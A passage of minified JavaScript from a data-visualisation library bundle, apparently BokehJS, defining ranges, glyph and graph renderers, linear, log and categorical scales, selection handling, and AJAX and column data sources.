e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])?e[t[0]].mapping[t[1]].value:NaN}if(3==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])&&e[t[0]].mapping[t[1]].mapping.hasOwnProperty(t[2])?e[t[0]].mapping[t[1]].mapping[t[2]].value:NaN}throw new Error(\\\"unreachable code\\\")},t.prototype.synthetic=function(t){if(h.isNumber(t))return t;if(h.isString(t))return this._lookup([t]);var e=0,i=t[t.length-1];return h.isNumber(i)&&(e=i,t=t.slice(0,-1)),this._lookup(t)+e},t.prototype.v_synthetic=function(t){var e=this;return s.map(t,function(t){return e.synthetic(t)})},t.prototype._init=function(t){var e,i,n,r,o;if(b.all(this.factors,h.isString))r=1,e=m(this.factors,this.factor_padding),this._mapping=e[0],o=e[1];else if(b.all(this.factors,function(t){return h.isArray(t)&&2==t.length&&h.isString(t[0])&&h.isString(t[1])}))r=2,i=x(this.factors,this.group_padding,this.factor_padding),this._mapping=i[0],this.tops=i[1],o=i[2];else{if(!b.all(this.factors,function(t){return h.isArray(t)&&3==t.length&&h.isString(t[0])&&h.isString(t[1])&&h.isString(t[2])}))throw new Error(\\\"???\\\");r=3,n=u(this.factors,this.group_padding,this.subgroup_padding,this.factor_padding),this._mapping=n[0],this.tops=n[1],this.mids=n[2],o=n[3]}var s=0,a=this.factors.length+o;if(\\\"percent\\\"==this.range_padding_units){var l=(a-s)*this.range_padding/2;s-=l,a+=l}else s-=this.range_padding,a+=this.range_padding;this.setv({start:s,end:a,levels:r},{silent:t}),\\\"auto\\\"==this.bounds&&this.setv({bounds:[s,a]},{silent:!0})},t}(r.Range);(i.FactorRange=a).initClass()},function(t,e,i){var n=t(179);i.DataRange=n.DataRange;var r=t(180);i.DataRange1d=r.DataRange1d;var o=t(181);i.FactorRange=o.FactorRange;var s=t(183);i.Range=s.Range;var a=t(184);i.Range1d=a.Range1d},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=function(i){function t(t){var e=i.call(this,t)||this;return e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Range\\\",this.define({callback:[o.Any],bounds:[o.Any],min_interval:[o.Any],max_interval:[o.Any]}),this.internal({plots:[o.Array,[]]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._emit_callback()})},t.prototype.reset=function(){this.change.emit()},t.prototype._emit_callback=function(){null!=this.callback&&(s.isFunction(this.callback)?this.callback(this):this.callback.execute(this,{}))},Object.defineProperty(t.prototype,\\\"is_reversed\\\",{get:function(){return this.start>this.end},enumerable:!0,configurable:!0}),t}(r.Model);(i.Range=a).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Range1d\\\",this.define({start:[o.Number,0],end:[o.Number,1],reset_start:[o.Number],reset_end:[o.Number]})},t.prototype._set_auto_bounds=function(){if(\\\"auto\\\"==this.bounds){var t=Math.min(this.reset_start,this.reset_end),e=Math.max(this.reset_start,this.reset_end);this.setv({bounds:[t,e]},{silent:!0})}},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.reset_start&&(this.reset_start=this.start),null==this.reset_end&&(this.reset_end=this.end),this._set_auto_bounds()},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.reset=function(){this._set_auto_bounds(),this.start!=this.reset_start||this.end!=this.reset_end?this.setv({start:this.reset_start,end:this.reset_end}):this.change.emit()},t}(r.Range);(i.Range1d=s).initClass()},function(t,e,i){var n=t(391),r=t(189),P=t(130),o=t(199),j=t(14),s=t(15),a=t(22),N=t(21),_=t(32),l=t(181),p={fill:{},line:{}},d={fill:{fill_alpha:.3,fill_color:\\\"grey\\\"},line:{line_alpha:.3,line_color:\\\"grey\\\"}},f={fill:{fill_alpha:.2},line:{}},h=function(c){function t(){return null!==c&&c.apply(this,arguments)||this}return n.__extends(t,c),t.prototype.initialize=function(t){c.prototype.initialize.call(this,t);var i=this.model.glyph,n=N.includes(i.mixins,\\\"fill\\\"),r=N.includes(i.mixins,\\\"line\\\"),o=_.clone(i.attributes);function e(t){var e=_.clone(o);return n&&_.extend(e,t.fill),r&&_.extend(e,t.line),new i.constructor(e)}delete o.id,this.glyph=this.build_glyph_view(i);var s=this.model.selection_glyph;null==s?s=e({fill:{},line:{}}):\\\"auto\\\"===s&&(s=e(p)),this.selection_glyph=this.build_glyph_view(s);var a=this.model.nonselection_glyph;null==a?a=e({fill:{},line:{}}):\\\"auto\\\"===a&&(a=e(f)),this.nonselection_glyph=this.build_glyph_view(a);var l=this.model.hover_glyph;null!=l&&(this.hover_glyph=this.build_glyph_view(l));var h=this.model.muted_glyph;null!=h&&(this.muted_glyph=this.build_glyph_view(h));var u=e(d);this.decimated_glyph=this.build_glyph_view(u),this.xscale=this.plot_view.frame.xscales[this.model.x_range_name],this.yscale=this.plot_view.frame.yscales[this.model.y_range_name],this.set_data(!1)},t.prototype.build_glyph_view=function(t){return new t.default_view({model:t,renderer:this,plot_view:this.plot_view,parent:this})},t.prototype.connect_signals=function(){var e=this;c.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.request_render()}),this.connect(this.model.glyph.change,function(){return e.set_data()}),this.connect(this.model.data_source.change,function(){return e.set_data()}),this.connect(this.model.data_source.streaming,function(){return e.set_data()}),this.connect(this.model.data_source.patching,function(t){return e.set_data(!0,t)}),this.connect(this.model.data_source.selected.change,function(){return e.request_render()}),this.connect(this.model.data_source._select,function(){return e.request_render()}),null!=this.hover_glyph&&this.connect(this.model.data_source.inspect,function(){return e.request_render()}),this.connect(this.model.properties.view.change,function(){return e.set_data()}),this.connect(this.model.view.change,function(){return e.set_data()});var t=this.plot_model.frame,i=t.x_ranges,n=t.y_ranges;for(var r in i){var o=i[r];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}for(var s in n){var o=n[s];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}this.connect(this.model.glyph.transformchange,function(){return e.set_data()})},t.prototype.have_selection_glyphs=function(){return null!=this.selection_glyph&&null!=this.nonselection_glyph},t.prototype.set_data=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=null);var i=Date.now(),n=this.model.data_source;this.all_indices=this.model.view.indices,this.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.glyph.set_data(n,this.all_indices,e),this.glyph.set_visuals(n),this.decimated_glyph.set_visuals(n),this.have_selection_glyphs()&&(this.selection_glyph.set_visuals(n),this.nonselection_glyph.set_visuals(n)),null!=this.hover_glyph&&this.hover_glyph.set_visuals(n),null!=this.muted_glyph&&this.muted_glyph.set_visuals(n);var r=this.plot_model.plot.lod_factor;this.decimated=[];for(var o=0,s=Math.floor(this.all_indices.length/r);o<s;o++)this.decimated.push(o*r);var a=Date.now()-i;j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): set_data finished in \\\"+a+\\\"ms\\\"),this.set_data_timestamp=Date.now(),t&&this.request_render()},t.prototype.render=function(){var r=this;if(this.model.visible){var t=Date.now(),e=this.glyph.glglyph;this.glyph.map_data();var i=Date.now()-t,n=Date.now(),o=this.glyph.mask_data(this.all_indices);o.length===this.all_indices.length&&(o=N.range(0,this.all_indices.length));var s=Date.now()-n,a=this.plot_view.canvas_view.ctx;a.save();var l,h=this.model.data_source.selected;l=!h||h.is_empty()?[]:this.glyph instanceof P.LineView&&h.selected_glyph===this.glyph.model?this.model.view.convert_indices_from_subset(o):h.indices;var u,c=this.model.data_source.inspected;u=c&&0!==c.length?c[\\\"0d\\\"].glyph?this.model.view.convert_indices_from_subset(o):0<c[\\\"1d\\\"].indices.length?c[\\\"1d\\\"].indices:function(){for(var t=[],e=0,i=Object.keys(c[\\\"2d\\\"].indices);e<i.length;e++){var n=i[e];t.push(parseInt(n))}return t}():[];var _,p,d,f=function(){for(var t=[],e=0,i=o;e<i.length;e++){var n=i[e];N.includes(u,r.all_indices[n])&&t.push(n)}return t}(),v=this.plot_model.plot.lod_threshold;null!=this.model.document&&0<this.model.document.interactive_duration()&&!e&&null!=v&&this.all_indices.length>v?(o=this.decimated,_=this.decimated_glyph,p=this.decimated_glyph):(_=this.model.muted&&null!=this.muted_glyph?this.muted_glyph:this.glyph,p=this.nonselection_glyph),d=this.selection_glyph,null!=this.hover_glyph&&f.length&&(o=N.difference(o,f));var m,g=null;if(l.length&&this.have_selection_glyphs()){for(var y=Date.now(),b={},x=0,w=l;x<w.length;x++){var k=w[x];b[k]=!0}var S=new Array,C=new Array;if(this.glyph instanceof P.LineView)for(var T=0,A=this.all_indices;T<A.length;T++){var k=A[T];null!=b[k]?S.push(k):C.push(k)}else for(var E=0,M=o;E<M.length;E++){var k=M[E];null!=b[this.all_indices[k]]?S.push(k):C.push(k)}g=Date.now()-y,m=Date.now(),p.render(a,C,this.glyph),d.render(a,S,this.glyph),null!=this.hover_glyph&&(this.glyph instanceof P.LineView?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):this.hover_glyph.render(a,f,this.glyph))}else m=Date.now(),this.glyph instanceof P.LineView?this.hover_glyph&&f.length?this.hover_glyph.render(a,this.model.view.convert_indices_from_subset(f),this.glyph):_.render(a,this.all_indices,this.glyph):(_.render(a,o,this.glyph),this.hover_glyph&&f.length&&this.hover_glyph.render(a,f,this.glyph));var O=Date.now()-m;this.last_dtrender=O;var z=Date.now()-t;return j.logger.debug(this.glyph.model.type+\\\" GlyphRenderer (\\\"+this.model.id+\\\"): render finished in \\\"+z+\\\"ms\\\"),j.logger.trace(\\\" - map_data finished in       : \\\"+i+\\\"ms\\\"),j.logger.trace(\\\" - mask_data finished in      : \\\"+s+\\\"ms\\\"),null!=g&&j.logger.trace(\\\" - selection mask finished in : \\\"+g+\\\"ms\\\"),j.logger.trace(\\\" - glyph renders finished in  : \\\"+O+\\\"ms\\\"),a.restore()}},t.prototype.draw_legend=function(t,e,i,n,r,o,s,a){null==a&&(a=this.model.get_reference_point(o,s)),this.glyph.draw_legend_for_index(t,{x0:e,x1:i,y0:n,y1:r},a)},t.prototype.hit_test=function(t){if(!this.model.visible)return null;var e=this.glyph.hit_test(t);return null==e?null:this.model.view.convert_selection_from_subset(e)},t}(r.RendererView);i.GlyphRendererView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GlyphRenderer\\\",this.prototype.default_view=h,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],data_source:[s.Instance],view:[s.Instance,function(){return new o.CDSView}],glyph:[s.Instance],hover_glyph:[s.Instance],nonselection_glyph:[s.Any,\\\"auto\\\"],selection_glyph:[s.Any,\\\"auto\\\"],muted_glyph:[s.Instance],muted:[s.Bool,!1]}),this.override({level:\\\"glyph\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.view.source&&(this.view.source=this.data_source,this.view.compute_indices())},t.prototype.get_reference_point=function(t,e){var i=0;if(null!=t){var n=this.data_source.get_column(t);if(null!=n){var r=a.indexOf(n,e);-1!=r&&(i=r)}}return i},t.prototype.get_selection_manager=function(){return this.data_source.selection_manager},t}(r.Renderer);(i.GlyphRenderer=u).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(147),s=t(15),l=t(4),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e;a.prototype.initialize.call(this,t),this.xscale=this.plot_view.frame.xscales.default,this.yscale=this.plot_view.frame.yscales.default,this._renderer_views={},e=l.build_views(this._renderer_views,[this.model.node_renderer,this.model.edge_renderer],this.plot_view.view_options()),this.node_view=e[0],this.edge_view=e[1],this.set_data()},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.model.layout_provider.change,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.change,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.change,function(){return t.set_data()});var e=this.plot_model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.set_data()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.set_data()})}},t.prototype.set_data=function(t){var e,i;void 0===t&&(t=!0),this.node_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.edge_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0});var n=this.node_view.glyph;e=this.model.layout_provider.get_node_coordinates(this.model.node_renderer.data_source),n._x=e[0],n._y=e[1];var r=this.edge_view.glyph;i=this.model.layout_provider.get_edge_coordinates(this.model.edge_renderer.data_source),r._xs=i[0],r._ys=i[1],n.index_data(),r.index_data(),t&&this.request_render()},t.prototype.render=function(){this.edge_view.render(),this.node_view.render()},t}(r.RendererView);i.GraphRendererView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphRenderer\\\",this.prototype.default_view=a,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],layout_provider:[s.Instance],node_renderer:[s.Instance],edge_renderer:[s.Instance],selection_policy:[s.Instance,function(){return new o.NodesOnly}],inspection_policy:[s.Instance,function(){return new o.NodesOnly}]}),this.override({level:\\\"glyph\\\"})},t.prototype.get_selection_manager=function(){return this.node_renderer.data_source.selection_manager},t}(r.Renderer);(i.GraphRenderer=h).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.RendererView);i.GuideRendererView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GuideRenderer\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"overlay\\\"})},t}(r.Renderer);(i.GuideRenderer=a).initClass()},function(t,e,i){var n=t(185);i.GlyphRenderer=n.GlyphRenderer;var r=t(186);i.GraphRenderer=r.GraphRenderer;var o=t(187);i.GuideRenderer=o.GuideRenderer;var s=t(189);i.Renderer=s.Renderer},function(t,e,i){var n=t(391),r=t(6),o=t(49),s=t(15),a=t(59),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view,this.visuals=new o.Visuals(this.model),this._has_finished=!0},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.request_render=function(){this.plot_view.request_render()},t.prototype.map_to_screen=function(t,e){return this.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return!1},enumerable:!0,configurable:!0}),t}(r.DOMView);i.RendererView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Renderer\\\",this.define({level:[s.RenderLevel],visible:[s.Bool,!0]})},t}(a.Model);(i.Renderer=h).initClass()},function(t,e,i){var n=t(391),r=t(192),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalScale\\\"},t.prototype.compute=function(t){return e.prototype.compute.call(this,this.source_range.synthetic(t))},t.prototype.v_compute=function(t){return e.prototype.v_compute.call(this,this.source_range.v_synthetic(t))},t}(r.LinearScale);(i.CategoricalScale=o).initClass()},function(t,e,i){var n=t(190);i.CategoricalScale=n.CategoricalScale;var r=t(192);i.LinearScale=r.LinearScale;var o=t(193);i.LogScale=o.LogScale;var s=t(194);i.Scale=s.Scale},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearScale\\\"},t.prototype.compute=function(t){var e=this._compute_state(),i=e[0],n=e[1];return i*t+n},t.prototype.v_compute=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=i*t[o]+n;return r},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1];return(t-n)/i},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=(t[o]-n)/i;return r},t.prototype._compute_state=function(){var t=this.source_range.start,e=this.source_range.end,i=this.target_range.start,n=this.target_range.end,r=(n-i)/(e-t),o=-r*t+i;return[r,o]},t}(r.Scale);(i.LinearScale=o).initClass()},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogScale\\\"},t.prototype.compute=function(t){var e,i=this._compute_state(),n=i[0],r=i[1],o=i[2],s=i[3];if(0==o)e=0;else{var a=(Math.log(t)-s)/o;e=isFinite(a)?a*n+r:NaN}return e},t.prototype.v_compute=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length);if(0==r)for(var a=0;a<t.length;a++)s[a]=0;else for(var a=0;a<t.length;a++){var l=(Math.log(t[a])-o)/r,h=void 0;h=isFinite(l)?l*i+n:NaN,s[a]=h}return s},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=(t-n)/i;return Math.exp(r*s+o)},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length),a=0;a<t.length;a++){var l=(t[a]-n)/i;s[a]=Math.exp(r*l+o)}return s},t.prototype._get_safe_factor=function(t,e){var i,n=t<0?0:t,r=e<0?0:e;if(n==r)if(0==n)n=(i=[1,10])[0],r=i[1];else{var o=Math.log(n)/Math.log(10);n=Math.pow(10,Math.floor(o)),r=Math.ceil(o)!=Math.floor(o)?Math.pow(10,Math.ceil(o)):Math.pow(10,Math.ceil(o)+1)}return[n,r]},t.prototype._compute_state=function(){var t,e,i=this.source_range.start,n=this.source_range.end,r=this.target_range.start,o=this.target_range.end,s=o-r,a=this._get_safe_factor(i,n),l=a[0],h=a[1];0==l?(t=Math.log(h),e=0):(t=Math.log(h)-Math.log(l),e=Math.log(l));var u=s,c=r;return[u,c,t,e]},t}(r.Scale);(i.LogScale=o).initClass()},function(t,e,i){var n=t(391),r=t(274),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scale\\\",this.internal({source_range:[o.Any],target_range:[o.Any]})},t.prototype.r_compute=function(t,e){return this.target_range.is_reversed?[this.compute(e),this.compute(t)]:[this.compute(t),this.compute(e)]},t.prototype.r_invert=function(t,e){return this.target_range.is_reversed?[this.invert(e),this.invert(t)]:[this.invert(t),this.invert(e)]},t}(r.Transform);(i.Scale=s).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(196),i);var r=t(197);i.Selection=r.Selection},function(t,e,i){var n=t(391),r=t(59),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.do_selection=function(t,e,i,n){return null!==t&&(e.selected.update(t,i,n),e._select.emit(),!e.selected.is_empty())},e}(r.Model);(i.SelectionPolicy=o).prototype.type=\\\"SelectionPolicy\\\";var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_intersection(u)}return a}return null},e}(o);(i.IntersectRenderers=s).prototype.type=\\\"IntersectRenderers\\\";var a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_union(u)}return a}return null},e}(o);(i.UnionRenderers=a).prototype.type=\\\"UnionRenderers\\\"},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(21),a=t(32),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Selection\\\",this.define({indices:[o.Array,[]],line_indices:[o.Array,[]],multiline_indices:[o.Any,{}]}),this.internal({final:[o.Boolean],selected_glyphs:[o.Array,[]],get_view:[o.Any],image_indices:[o.Array,[]]})},t.prototype.initialize=function(){var t=this;e.prototype.initialize.call(this),this[\\\"0d\\\"]={glyph:null,indices:[],flag:!1,get_view:function(){return null}},this[\\\"2d\\\"]={indices:{}},this[\\\"1d\\\"]={indices:this.indices},this.get_view=function(){return null},this.connect(this.properties.indices.change,function(){return t[\\\"1d\\\"].indices=t.indices}),this.connect(this.properties.line_indices.change,function(){t[\\\"0d\\\"].indices=t.line_indices,0==t.line_indices.length?t[\\\"0d\\\"].flag=!1:t[\\\"0d\\\"].flag=!0}),this.connect(this.properties.selected_glyphs.change,function(){return t[\\\"0d\\\"].glyph=t.selected_glyph}),this.connect(this.properties.get_view.change,function(){return t[\\\"0d\\\"].get_view=t.get_view}),this.connect(this.properties.multiline_indices.change,function(){return t[\\\"2d\\\"].indices=t.multiline_indices})},Object.defineProperty(t.prototype,\\\"selected_glyph\\\",{get:function(){return 0<this.selected_glyphs.length?this.selected_glyphs[0]:null},enumerable:!0,configurable:!0}),t.prototype.add_to_selected_glyphs=function(t){this.selected_glyphs.push(t)},t.prototype.update=function(t,e,i){this.final=e,i?this.update_through_union(t):(this.indices=t.indices,this.line_indices=t.line_indices,this.selected_glyphs=t.selected_glyphs,this.get_view=t.get_view,this.multiline_indices=t.multiline_indices,this.image_indices=t.image_indices)},t.prototype.clear=function(){this.final=!0,this.indices=[],this.line_indices=[],this.multiline_indices={},this.get_view=function(){return null},this.selected_glyphs=[]},t.prototype.is_empty=function(){return 0==this.indices.length&&0==this.line_indices.length&&0==this.image_indices.length},t.prototype.update_through_union=function(t){this.indices=s.union(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t.prototype.update_through_intersection=function(t){this.indices=s.intersection(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t}(r.Model);(i.Selection=l).initClass()},function(t,e,i){var n=t(391),r=t(205),o=t(14),_=t(44),s=t(15),a=function(i){function t(t){var e=i.call(this,t)||this;return e.initialized=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AjaxDataSource\\\",this.define({mode:[s.String,\\\"replace\\\"],content_type:[s.String,\\\"application/json\\\"],adapter:[s.Any],http_headers:[s.Any,{}],max_size:[s.Number],method:[s.String,\\\"POST\\\"],if_modified:[s.Bool,!1]})},t.prototype.destroy=function(){null!=this.interval&&clearInterval(this.interval),i.prototype.destroy.call(this)},t.prototype.setup=function(){var t=this;!this.initialized&&(this.initialized=!0,this.get_data(this.mode),this.polling_interval)&&(this.interval=setInterval(function(){return t.get_data(t.mode,t.max_size,t.if_modified)},this.polling_interval))},t.prototype.get_data=function(t,e,i){var n=this;void 0===e&&(e=0),void 0===i&&(i=!1);var r=this.prepare_request();r.addEventListener(\\\"load\\\",function(){return n.do_load(r,t,e)}),r.addEventListener(\\\"error\\\",function(){return n.do_error(r)}),r.send()},t.prototype.prepare_request=function(){var t=new XMLHttpRequest;t.open(this.method,this.data_url,!0),t.withCredentials=!1,t.setRequestHeader(\\\"Content-Type\\\",this.content_type);var e=this.http_headers;for(var i in e){var n=e[i];t.setRequestHeader(i,n)}return t},t.prototype.do_load=function(t,e,i){if(200===t.status){var n=JSON.parse(t.responseText),r=this.adapter,o={};switch(o=null!=r?_.isFunction(r)?r(this,{response:n}):r.execute(this,{response:n}):n,e){case\\\"replace\\\":this.data=o;break;case\\\"append\\\":for(var s=this.data,a=0,l=this.columns();a<l.length;a++){var h=l[a],u=Array.from(s[h]),c=Array.from(o[h]);o[h]=u.concat(c).slice(-i)}this.data=o}}},t.prototype.do_error=function(t){o.logger.error(\\\"Failed to fetch JSON from \\\"+this.data_url+\\\" with code \\\"+t.status)},t}(r.RemoteDataSource);(i.AjaxDataSource=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(197),a=t(21),l=t(201),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CDSView\\\",this.define({filters:[o.Array,[]],source:[o.Instance]}),this.internal({indices:[o.Array,[]],indices_map:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.compute_indices()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.filters.change,function(){t.compute_indices(),t.change.emit()}),null!=this.source&&(null!=this.source.change&&this.connect(this.source.change,function(){return t.compute_indices()}),null!=this.source.streaming&&this.connect(this.source.streaming,function(){return t.compute_indices()}),null!=this.source.patching&&this.connect(this.source.patching,function(){return t.compute_indices()}))},t.prototype.compute_indices=function(){var e=this,r=this.filters.map(function(t){return t.compute_indices(e.source)});0<(r=function(){for(var t=[],e=0,i=r;e<i.length;e++){var n=i[e];null!=n&&t.push(n)}return t}()).length?this.indices=a.intersection.apply(this,r):this.source instanceof l.ColumnarDataSource&&(this.indices=this.source.get_indices()),this.indices_map_to_subset()},t.prototype.indices_map_to_subset=function(){this.indices_map={};for(var t=0;t<this.indices.length;t++)this.indices_map[this.indices[t]]=t},t.prototype.convert_selection_from_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_selection_to_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices_map[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_indices_from_subset=function(t){var e=this;return t.map(function(t){return e.indices[t]})},t}(r.Model);(i.CDSView=h).initClass()},function(t,e,i){var n=t(391),r=t(201),o=t(8),s=t(15),k=t(29),h=t(36),S=t(44),u=t(43),c=t(32),a=t(51);function _(t,e,i){if(S.isArray(t)){var n=t.concat(e);return null!=i&&n.length>i?n.slice(-i):n}if(S.isTypedArray(t)){var r=t.length+e.length;if(null!=i&&i<r){var o=r-i,s=t.length,n=void 0;t.length<i?(n=new t.constructor(i)).set(t,0):n=t;for(var a=o,l=s;a<l;a++)n[a-o]=n[a];for(var a=0,l=e.length;a<l;a++)n[a+(s-o)]=e[a];return n}var h=new t.constructor(e);return u.concat(t,h)}throw new Error(\\\"unsupported array types\\\")}function C(t,e){var i,n,r;return S.isNumber(t)?(r=(i=t)+1,n=1):(i=null!=t.start?t.start:0,r=null!=t.stop?t.stop:e,n=null!=t.step?t.step:1),[i,r,n]}function p(t,e,i){for(var n=new k.Set,r=!1,o=0,s=e;o<s.length;o++){var a=s[o],l=a[0],h=a[1],u=void 0,c=void 0;if(S.isArray(l)){var _=l[0];n.add(_),c=i[_],u=t[_]}else S.isNumber(l)?(h=[h],n.add(l)):r=!0,l=[0,0,l],c=[1,t.length],u=t;2===l.length&&(c=[1,c[0]],l=[l[0],0,l[1]]);for(var p=0,d=C(l[1],c[0]),f=d[0],v=d[1],m=d[2],g=C(l[2],c[1]),y=g[0],b=g[1],x=g[2],_=f;_<v;_+=m)for(var w=y;w<b;w+=x)r&&n.add(w),u[_*c[1]+w]=h[p],p++}return n}i.stream_to_column=_,i.slice=C,i.patch_to_column=p;var l=function(e){function l(t){return e.call(this,t)||this}return n.__extends(l,e),l.initClass=function(){this.prototype.type=\\\"ColumnDataSource\\\",this.define({data:[s.Any,{}]})},l.prototype.initialize=function(){var t;e.prototype.initialize.call(this),t=h.decode_column_data(this.data),this.data=t[0],this._shapes=t[1]},l.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=l._value_to_json);for(var i={},n=this.serializable_attributes(),r=0,o=c.keys(n);r<o.length;r++){var s=o[r],a=n[s];\\\"data\\\"===s&&(a=h.encode_column_data(a,this._shapes)),t?i[s]=a:s in this._set_after_defaults&&(i[s]=a)}return e(\\\"attributes\\\",i,this)},l._value_to_json=function(t,e,i){return S.isPlainObject(e)&&\\\"data\\\"===t?h.encode_column_data(e,i._shapes):o.HasProps._value_to_json(t,e,i)},l.prototype.stream=function(t,e,i){var n=this.data;for(var r in t)n[r]=_(n[r],t[r],e);if(this.setv({data:n},{silent:!0}),this.streaming.emit(),null!=this.document){var o=new 